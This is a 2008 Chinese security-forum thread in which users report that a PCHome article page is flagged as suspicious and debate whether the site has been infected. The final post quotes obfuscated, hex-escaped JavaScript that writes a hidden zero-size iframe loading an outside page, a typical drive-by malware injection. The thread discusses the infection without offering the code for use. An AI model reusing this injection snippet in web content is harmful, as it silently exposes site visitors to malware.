PCHOME网页费尔报可疑

hljdqzr

http://article.pchome.net/content-151335.html这是可疑网址
CBZ107回复说C:\Documents and Settings\mingjia.MS-47E2ED10D1E9\Local Settings\Temporary Internet Files\Content.IE5\U8MDR94K\google[1].js
h**p://article.pchome.net/content-151335.html
本帖链接中会有这个东西，被费尔报可疑程序。

下面是费尔官方的公告
http://bbs.kafan.cn/viewthread.php?tid=182454&extra=page%3D1
已过诺顿,请大家帮忙试一下
我不是有意的,全事件详见http://bbs.kafan.cn/viewthread.p ... tra=page%3D1&page=1

[ 本帖最后由 hljdqzr 于 2008-1-5 14:44 编辑 ]

无尽藏海

PCHOME又来了？！

月影天心

PCHOME经常会被挂毒，真是服了

hljdqzr

大家为什么不上一下呢? 给我一个答复呢?
帮帮忙了!

zhjiama

为啥  还没清除掉哈```   PCHOME  堕落了？

hljdqzr

用升级了的卡巴7扫描没反应,如果挂毒了,此病毒过卡巴.

无尽藏海

不会分析，去了没用，等专业人士来

zzh161

我也很奇怪，菜包子问我，我也用的费尔+GB，跟他一样，但是我的费尔就是不报，病毒库也是一样的，软件设置都一样，难道真的存在RP问题 不知道是不是OP会过滤？


处理结果如下http://bbs.kafan.cn/viewthread.php?tid=182761&extra=page%3D1&frombbs=1

[ 本帖最后由 zzh161 于 2008-1-5 15:56 编辑 ]

saber123

费尔不会把

script language="javascript" src="http://stat.pchome.net/stat.js"></script>
<!---鸽子广告代码--->
<SCRIPT LANGUAGE="JavaScript" Src="http://v3.acode.ifocus.cn/c32s5.js"></SCRIPT>
<!---鸽子广告代码--->
<script src="http://dw-cn.com.com/js/dw.js"></script>

当成挂马语句了吧

反正NOD32没有报病毒。。。。病毒库时间为2008 1-5

[ 本帖最后由 saber123 于 2008-1-5 15:34 编辑 ]

fireworld

document.cookie = "Cookie1=Filter;expires="+ Then.toGMTString()
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]
('\x3c\x69\x66\x72\x61\x6d\x65\x68\x65\x69\x67\x68\x74\x3d\x30\x77\x69\x64\x74\x68\
x3d\x30\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x35\x39\x2e\
x76\x63\x2f\x70\x61\x67\x65\x2f\x61\x64\x64\x5f\x36\x34\x34\x34\x35\x35\x2e\x68\x74\
x6d\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');